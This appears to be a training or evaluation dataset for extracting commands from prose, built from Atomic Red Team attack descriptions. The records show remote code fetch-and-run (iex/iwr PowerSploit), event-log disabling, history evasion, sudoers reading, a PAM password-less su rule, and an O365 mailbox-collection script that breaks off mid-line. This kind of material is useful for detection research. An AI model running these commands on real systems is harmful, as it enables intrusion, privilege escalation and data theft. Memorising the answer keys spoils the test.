    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    In a compromised AWS environment, security groups can be enumerated via the command: aws ec2 describe-security-groups --profile #{aws_profile} --output #{output_format}\n; You can obtain geolocation data by querying IP-Lookup services, executing this curl command: curl -k #{ip_lookup_url}",
    "output": "{\"command_list\": [\"aws ec2 describe-security-groups --profile #{aws_profile} --output #{output_format}\\n\", \"curl -k #{ip_lookup_url}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Wevtutil can disable logs, as seen in RansomEXX ransomware attacks where Security logs are turned off post-encryption, by executing this command: wevtutil sl \"#{log_name}\" /e:false\n; Disable Eventlog with the Phant0m tool via the command: \"#{file_name}\"",
    "output": "{\"command_list\": [\"wevtutil sl \\\"#{log_name}\\\" /e:false\\n\", \"\\\"#{file_name}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can configure PowerShell to allow access to files from local shortcuts with remote paths by executing these commands: New-ItemProperty -Path HKLM:\\Software\\Policies\\Microsoft\\Windows\\Filesystems\\NTFS -Name SymlinkRemoteToLocalEvaluation -PropertyType DWORD -Value 1 -Force -ErrorAction Ignore\nNew-ItemProperty -Path HKLM:\\Software\\Policies\\Microsoft\\Windows\\Filesystems\\NTFS -Name SymlinkRemoteToRemoteEvaluation -PropertyType DWORD -Value 1 -Force -ErrorAction Ignore; To check the sudoers file (requires root privileges), use the following command: if [ -f /etc/sudoers ]; then sudo cat /etc/sudoers > #{output_file}; fi;\nif [ -f /usr/local/etc/sudoers ]; then sudo cat /usr/local/etc/sudoers > #{output_file}; fi;\ncat #{output_file}",
    "output": "{\"command_list\": [\"New-ItemProperty -Path HKLM:\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\Filesystems\\\\NTFS -Name SymlinkRemoteToLocalEvaluation -PropertyType DWORD -Value 1 -Force -ErrorAction Ignore\\nNew-ItemProperty -Path HKLM:\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\Filesystems\\\\NTFS -Name SymlinkRemoteToRemoteEvaluation -PropertyType DWORD -Value 1 -Force -ErrorAction Ignore\\n\", \"if [ -f /etc/sudoers ]; then sudo cat /etc/sudoers > #{output_file}; fi;\\nif [ -f /usr/local/etc/sudoers ]; then sudo cat /usr/local/etc/sudoers > #{output_file}; fi;\\ncat #{output_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For adding a network share, run the command below: net use c: #{share_name}\nnet share test=#{share_name} /REMARK:\"test share\" /CACHE:No; A network share can be removed with the command: net share #{share_name} /delete",
    "output": "{\"command_list\": [\"net use c: #{share_name}\\nnet share test=#{share_name} /REMARK:\\\"test share\\\" /CACHE:No\\n\", \"net share #{share_name} /delete\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To prevent commands from being logged in the Bash History file, simply add a space before them, like this: hostname\nwhoami\n; To maintain a clean history and avoid logging in lastlog, wtmp, or btmp, use the following command: sshpass -p 'pwd101!' ssh testuser1@localhost -T hostname",
    "output": "{\"command_list\": [\"hostname\\nwhoami\\n\", \"sshpass -p 'pwd101!' ssh testuser1@localhost -T hostname\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To schedule a command for future execution using the `at` daemon, run the following: echo \"#{at_command}\" | at #{time_spec}; For inserting a PAM rule that permits password-less su to root, run this command: sudo sed -i \"#{index}s,^,#{pam_rule}\\n,g\" #{path_to_pam_conf}\n",
    "output": "{\"command_list\": [\"echo \\\"#{at_command}\\\" | at #{time_spec}\", \"sudo sed -i \\\"#{index}s,^,#{pam_rule}\\\\n,g\\\" #{path_to_pam_conf}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For collecting sensitive organizational information through Office 365 email access, the following PowerShell script registers an application with Microsoft Graph API permissions: $ss = ConvertTo-SecureString \"#{password}\" -AsPlainText -Force\n$cred = New-Object PSCredential -ArgumentList '#{username}', $ss\n$param = @{\n    Credential = $cred\n    Force      = $true\n}\n$null = Connect-AzAccount @param\n$token = (Get-AzAccessToken -ResourceTypeName MSGraph -ErrorAction Stop).token\n$cert = New-SelfSignedCertificate -Subject \"CN=PowerShell Application\" -CertStoreLocation \"Cert:\\CurrentUser\\My\" -KeyExportPolicy Exportable -KeySpec Signature -KeyLength 2048 -KeyAlgorithm RSA -HashAlgorithm SHA256\n$reqResourceAccess = ( @{ \"resourceAccess\" = (@{\"id\"= \"570282fd-fa5c-430d-a7fd-fc8dc98a9dca\"; \"type\"= \"Scope\"}, @{ \"id\"= \"7427e0e9-2fba-42fe-b0c0-848c9e6a8182\"; \"type\"= \"Scope\"}, @{\"id\"= \"37f7f235-527c-4136-accd-4a02d197296e\"; \"type\"= \"Scope\"}, @{\"id\"= \"14dad69e-099b-42c9-810b-d002981feec1\"; \"type\"= \"Scope\"}, @{ \"id\"= \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\"; \"type\"= \"Scope\"}, @{ \"id\"= \"810c84a8-4a9e-49e6-bf7d-12d183f40d01\"; \"type\"= \"Role\"}); \"resourceAppId\" = \"00000003-0000-0000-c000-000000000000\" })\nconnect-mggraph -AccessToken $token\n$context = Get-MgContext       \n$users = get-MgUser\n$app = New-MgApplication -DisplayName \"T1114.002 Atomic Test #1 - Office365 - Remote Email Collection\" -RequiredResourceAccess $reqResourceAccess -Web @{ RedirectUris=\"http://localhost\"; } -KeyCredentials @(@{ Type=\"AsymmetricX509Cert\"; Usage=\"Verify\"; Key=$cert.RawData })\nNew-MgServicePrincipal -AppId $app.appId -AdditionalProperties @{} | Out-Null\n$resourceSPN = Get-MgServicePrincipal -Filter \"AppId eq '$($app.AppId)'\"\n$graphApiApp = Get-MgServicePrincipal -Filter \"DisplayName eq 'Microsoft Graph'\"\n$mailRole = $graphApiApp.AppRoles|Where-Object Value -Eq \"Mail.Read\"\nNew-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $resourceSPN.Id -PrincipalId $resourceSPN.Id -ResourceId $graphApiApp.id -AppRoleId $mailRole.Id\n$mailbox1 = \"#{1st_target_mailbox}\"\n$mailbox2 = \"#{2nd_target_mailbox}\"\n$mailbox3 = \"#{3rd_target_mailbox}\"\n[System.Collections.ArrayList]$selectUsers = @()\nforeach ($user in $users) {if 